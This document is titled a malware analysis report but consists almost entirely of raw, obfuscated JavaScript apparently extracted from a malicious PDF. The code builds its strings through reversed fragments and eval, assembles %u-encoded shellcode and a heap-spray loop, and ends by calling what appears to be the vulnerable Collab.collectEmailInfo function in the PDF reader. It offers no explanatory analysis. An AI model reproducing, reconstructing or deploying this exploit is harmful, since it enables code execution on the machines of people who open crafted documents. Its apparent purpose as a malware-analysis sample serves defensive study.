Malicious PDF — malware analysis report

this.ZXMDVLGUBYOFVHJXXSEYMFVZIYYDPXLWBKULWGXHUUJPCXZYKXKMYRMRNMRS()

A='';b='ijnc';x='yfvop';g='d.leng';f='tion';c='(hi';d='jncbyv';l='hijn';r='d.leng';a='";w';n='(hijn';o='hile';k='cbyvd';h='cbyv';s=' bixp(';q='){m';p='byvd.c';z='func';w='pri+=h';i='harAt';j='th>0){';e='myfvo';u='ri="';A+=z+f+s+l+k+q+x+u+a+o+c+d+r+j+e+w+b+p+i+n+h+g;
g='subst';i=');}ret';b='yvd.le';n='ngth-1';u='ncb';s=',hij';p='ri;};';q='vd=h';t='byvd.';r='myfvop';m='urn ';j='ring(0';a='th-';x='1);hi';e='jncby';h='ijnc';A+=a+x+e+q+h+t+g+j+s+u+b+n+i+m+r+p;
;eval(A);A='';o=bixp('fDVN');s=bixp('IUATt');u=bixp('pDD');l=bixp('el.m');p=bixp('Yqr');j=bixp('*htgn');z=bixp('r{ )H');y=bixp(' rav');e=bixp('0o0Y');t=bixp('IUATt1');k=bixp('(yarr');i=bixp(' = X');n=bixp('A wen');q=bixp('1N<2');v=bixp('ihw{)H');a=bixp('viI0Vz');f=bixp('0YY');r=bixp('( el');d=bixp('qr(L');h=bixp('k noit');x=bixp('N ,m0o');b=bixp('cnuf;)');A+=y+u+o+i+n+k+b+h+a+d+f+x+t+v+r+p+e+l+j+q+s+z;
m=bixp('Yqr =+');g=bixp('er;)2');s=bixp(' = ');f=bixp(',0(g');y=bixp('/HIUA');u=bixp('3S noi');q=bixp(';m0');x=bixp(';m0o0');c=bixp('m0o');o=bixp('o0Y');l=bixp('nirt');j=bixp('tcnuf}');h=bixp('s.m0');z=bixp('sbu');k=bixp('o0YYqr');b=bixp('r nrut');e=bixp('qr}');i=bixp('0YY');w=bixp('Tt1N');v=bixp('YYq');t=bixp(' m0o0');p=bixp('YYq');A+=v+t+m+o+q+e+i+c+s+k+h+z+l+f+w+y+g+b+p+x+j+u;
f=bixp('RCBG');m=bixp('19bu%');j=bixp('enu = ');h=bixp('c0c0');w=bixp(')(UN');s=bixp('av{');e=bixp('WIr');v=bixp('pacs');l=bixp('u%8e0');t=bixp('cBc');r=bixp('0000');k=bixp('= Modf');u=bixp('c0c0');d=bixp('d5u%');o=bixp('b rav;');b=bixp('385');x=bixp('0u%"(e');y=bixp('cu%00');q=bixp('e r');g=bixp('10u%4');n=bixp('x0 ');z=bixp('YTy1');A+=f+w+s+q+t+k+n+h+u+o+e+z+j+v+x+l+r+d+y+b+m+g;
d=bixp('u%d3d');i=bixp('%da4d');f=bixp('4u%0bd');w=bixp('u%dad');j=bixp('%035');n=bixp('dadau%');u=bixp('au%');p=bixp('457');z=bixp('0u%b8');t=bixp('00d');y=bixp('d3u');e=bixp('u%dada');v=bixp('3u%');h=bixp('c9d0u');x=bixp('3u%1c');k=bixp('au%9f');a=bixp('u%0');m=bixp('%269');b=bixp('054u');l=bixp('beu%9');s=bixp('3u%000');c=bixp('5u%d3d');A+=z+s+f+j+b+a+p+l+k+t+n+u+w+e+i+y+x+c+m+h+v+d;
t=bixp('%0b');p=bixp('55u%12');a=bixp('u%6b');h=bixp('09u%6');m=bixp('u%d354');d=bixp('%6bacu');x=bixp('90u');i=bixp('3d3');y=bixp('u%536d');v=bixp('465d');f=bixp('0u%1');l=bixp('d713u%');n=bixp('d7u%d7');r=bixp('%436b');b=bixp('bd4u%');w=bixp('%551');q=bixp('3u%');k=bixp('u%2bd');e=bixp('136b');u=bixp('93u');s=bixp('46bu');z=bixp('u%75');A+=m+e+l+b+h+p+a+y+r+x+n+t+s+f+w+d+u+z+v+q+k+i;
c=bixp('7db');s=bixp('6baeu%');k=bixp('3u%55');z=bixp('4cu%d');f=bixp('%847cu');u=bixp('u%84f');e=bixp('bu%');m=bixp('62cu%1');x=bixp('%5d');w=bixp('u%a');a=bixp('6bu%9');d=bixp('7a6u');n=bixp('u%35d');i=bixp('25u%fd');p=bixp('44d3u');o=bixp('d3d3u%');t=bixp('d355');r=bixp('505');q=bixp('3u%a7d');g=bixp('%20d');v=bixp('4u%');y=bixp('5du%b2');A+=z+i+k+n+t+v+u+r+m+a+y+x+p+o+s+e+q+g+f+d+w+c;
w=bixp('3d3u');o=bixp('20d');s=bixp('6b2du%');a=bixp('d3u%1');m=bixp('d36b');k=bixp('d93');g=bixp('%559');v=bixp('u%d');z=bixp('847cu%');n=bixp('32cu%c');c=bixp('u%c3');l=bixp('6u%b');f=bixp('6e0u%');j=bixp('c6f6');b=bixp('ec6u%');r=bixp('3u%a');u=bixp('e6u%1');p=bixp('613');t=bixp('3u%f6');e=bixp('fcbu%2');h=bixp('u%4');d=bixp('u%764');A+=r+o+z+s+f+e+h+k+a+c+m+b+u+t+g+w+n+v+p+l+d+j;
a=bixp('u%e');w=bixp('u%6');l=bixp('%84e');f=bixp('u%6');e=bixp('eb6du');g=bixp('41cu%');b=bixp('34bu%');r=bixp('u%e6e7');c=bixp('85u%3');i=bixp('3u%bfe');n=bixp('185');t=bixp('bu%53d');z=bixp('u%db60');s=bixp('%d384');m=bixp('185');o=bixp('7u%54');k=bixp('bf3u%');v=bixp('u%e793');u=bixp('485u%3');h=bixp('7ccbu');d=bixp('3u%5');x=bixp('3afu%5');A+=k+w+r+z+s+h+g+f+m+u+d+l+e+b+x+a+v+n+c+o+i+t;
w=bixp('dfu');f=bixp('d384');n=bixp('%87');s=bixp('u%d6');z=bixp('937');q=bixp('667');h=bixp('3u%46e');o=bixp('cu%b');u=bixp('f93u%');i=bixp('d62cu%');l=bixp('e6a6');r=bixp('d6u%e0');g=bixp('bu%');v=bixp('u%eb5');j=bixp('75u%');m=bixp('6u%2');d=bixp('d3u%d0');b=bixp('%b3');t=bixp('cb6u%');k=bixp('c3e6u');x=bixp('5bu%c');p=bixp('6d2u%');A+=q+u+x+d+n+w+r+s+l+i+p+o+v+f+j+b+k+t+m+z+g+h;
x=bixp('b4d1');t=bixp('%3154');f=bixp('b94u%8');g=bixp('498u');u=bixp('c6u%');n=bixp('ff9');q=bixp('38cu');h=bixp('%b6');e=bixp('u%e');p=bixp('6bu%53');i=bixp('e38cu%');m=bixp('04fu%');v=bixp('410u');j=bixp('47c7');c=bixp('d3u%c');s=bixp('2cb');l=bixp('6bu%e');y=bixp('%70');d=bixp('6u%8');k=bixp('u%6');a=bixp('u%b6');z=bixp('7dbu%');A+=n+z+c+y+g+d+s+u+p+h+v+f+k+t+q+l+a+x+i+m+e+j;
j=bixp('u%03e');q=bixp('6022u%');c=bixp('du%');v=bixp('30eu%');t=bixp('3691u%');i=bixp('u%09e');n=bixp('u%7ed7');h=bixp('38d2');z=bixp('3u%cf6');e=bixp('u%e');f=bixp('366');x=bixp('eu%');u=bixp('u%6e2');o=bixp('8fe0');p=bixp('67u%b');a=bixp('6dcc');y=bixp('3u%');r=bixp('bu%84a');d=bixp('fu%945');m=bixp('3u%');b=bixp('3u%70b');l=bixp('56b');A+=y+i+o+m+u+h+x+b+d+z+j+n+a+q+c+r+f+t+v+e+l+p;
f=bixp('bu%1d5');x=bixp('936u%');h=bixp('46e');g=bixp('bu%3');j=bixp('u%3c7');s=bixp('%3334');a=bixp('%936b');k=bixp('e4e0u%');e=bixp('u%0e6b');w=bixp('3u%');p=bixp('c2c');c=bixp('fu%6');q=bixp('u%5d');r=bixp('2c3');m=bixp('au%373');i=bixp('5efdu');z=bixp('3u%6b');t=bixp('7f7bu%');d=bixp('u%12e');n=bixp('36u%13');b=bixp('e38fu');y=bixp('2cu%');A+=n+z+d+e+a+b+x+c+h+y+q+p+g+r+w+m+f+j+s+i+k+t;
l=bixp('2554u%');f=bixp('4u%159');c=bixp('21u%3');y=bixp('525u%');k=bixp('1u%94d');z=bixp('0u%352');o=bixp('4u%5');j=bixp('4u%5');m=bixp('4d3u%');s=bixp('702');x=bixp('%85f');e=bixp('5u%');b=bixp('u%84');g=bixp('21u%');r=bixp('66b0u%');a=bixp('a4u%72');i=bixp('594u%e');t=bixp('77c');h=bixp('21b5u%');v=bixp('7545');q=bixp('1f4u');u=bixp('6u%d4');A+=r+g+a+u+t+m+i+o+k+s+h+l+y+j+f+x+q+c+b+v+e+z;
c=bixp('%b5d0');j=bixp('20u');d=bixp('f5u');i=bixp('e0u%');o=bixp('d3u');l=bixp('5500');q=bixp('u%d0');h=bixp('%a0d0u');y=bixp('95c5');f=bixp('u%d0d');k=bixp('%e5');a=bixp('0u%d');u=bixp('%80c');z=bixp('5u%');p=bixp('u%959');e=bixp('f0u');m=bixp('%5040');g=bixp('0c0');n=bixp('u%b085');v=bixp('u%45');b=bixp('u%212');w=bixp('0u%f0');A+=b+l+z+u+o+k+j+v+m+d+w+p+n+g+a+f+c+h+e+q+y+i;
u=bixp('e5c0u');y=bixp('40u%');d=bixp('0u%80d');k=bixp('0u%');o=bixp('0b0u');j=bixp('d0u%');m=bixp('%40c5u');x=bixp('c5u%b0');c=bixp('0u%d0');r=bixp('%d0f');a=bixp('0u%4');i=bixp('d0d');g=bixp('%d0');t=bixp('u%d0');q=bixp('u%e0c');b=bixp('d090u%');n=bixp('d0u%d');h=bixp('d0c0u%');p=bixp('%40');e=bixp('0e0');w=bixp('%d0d0');s=bixp('d0d0u');A+=x+p+m+o+n+t+w+s+j+c+r+u+k+d+q+e+a+i+h+b+y+g;
w=bixp('rav');c=bixp('u%d');i=bixp('a0u%d0');t=bixp(' = PUx');r=bixp('rav;)"');k=bixp('u%c0');x=bixp('EoCW r');a=bixp('004x0');p=bixp('d0d0');s=bixp(' odFY');l=bixp('el.Y');h=bixp('d0d3');f=bixp('0d0u');b=bixp('Ty1');y=bixp(';2 *');v=bixp('d0u%');j=bixp('zbAWV ');e=bixp('d0u%d0');o=bixp('WIrb =');g=bixp('Tt1N ');m=bixp(' htgn');n=bixp('av;000');A+=f+c+p+v+e+i+k+h+r+j+t+a+n+x+s+o+b+l+m+y+w+g;
l=bixp('u = m');t=bixp('0909u');x=bixp('FYE');j=bixp('(Lvi');z=bixp('k = m');a=bixp(';)83x0');r=bixp('0o0Y');e=bixp('Yqr');p=bixp('Yqr');s=bixp('epa');f=bixp('Yqr;)"');o=bixp(' rav');b=bixp('I0Vz');i=bixp('csen');h=bixp('0909u%');y=bixp('%"(');u=bixp('+od');q=bixp('HIUA');d=bixp('0o0Y');w=bixp('oCW( -');k=bixp(' PUxzb');n=bixp('AWV = ');A+=q+n+k+w+x+u+a+o+p+d+l+i+s+y+t+h+f+r+z+b+j+e;
j=bixp('e( = ');e=bixp(';PUxz');g=bixp('=sK');a=bixp('x0 - M');c=bixp('( rof');x=bixp(' ra');d=bixp('fE7A');l=bixp('t1N ,');s=bixp('0004');b=bixp('iYzE');i=bixp('biYz');f=bixp('<sKb');z=bixp('V/)00');u=bixp('bAW');q=bixp('Ex rav');h=bixp('m0o0Y');o=bixp('UAT');v=bixp('Zwpj');k=bixp('v;)HI');m=bixp('x;0');y=bixp('7AZwpj');t=bixp('odfcBc');A+=h+l+o+k+x+v+d+j+t+a+s+z+u+e+c+q+i+g+m+b+f+y;
c=bixp('DTY r');t=bixp('3S{)(u');d=bixp('itcn');a=bixp('WIrb +');z=bixp('UNRCBG');m=bixp('gRD');q=bixp(' no');s=bixp('Q9yQ');b=bixp('[XfDV');k=bixp('CwHPN');f=bixp(' m0o0');p=bixp('sKbiY');e=bixp('av;)(');r=bixp('YYqr');g=bixp(';YTy1');i=bixp('biYzEx');l=bixp(' = ');j=bixp('NpDD');x=bixp('zEx;fE');y=bixp('{ )++');v=bixp(']sK');o=bixp('uf}}');A+=x+p+y+j+b+i+v+l+r+f+a+g+o+d+q+s+m+t+z+e+c+k;
i=bixp('alloC');w=bixp('w;)"');z=bixp('HPNDT');x=bixp('CwHPND');o=bixp('944 < ');q=bixp('TY )25');g=bixp('.Cw');r=bixp('%c0c0');t=bixp('tSb');d=bixp('Y =+ ');b=bixp('t;Cw');u=bixp('htg');l=bixp('enu = ');m=bixp('HPNDT');c=bixp('nel');e=bixp(' = ero');v=bixp('all');n=bixp('pacs');y=bixp('oc.sih');j=bixp('c0c0u');p=bixp('u%"(e');a=bixp('Y(elih');A+=l+n+p+r+j+w+a+z+g+c+u+o+q+x+d+m+b+y+v+t+e+i;
a=bixp('amEtce');b=bixp('bus{(');w=bixp('9yQ};)');s=bixp('ofnIli');m=bixp('RDQ');e=bixp('DTY :g');i=bixp('"" :j');c=bixp(')(ug');n=bixp(';');y=bixp('llo');j=bixp('}Cw');f=bixp('c.b');z=bixp('sm,');v=bixp('HPN');A+=f+y+a+s+b+i+z+e+v+j+w+m+c+n;
;eval(A);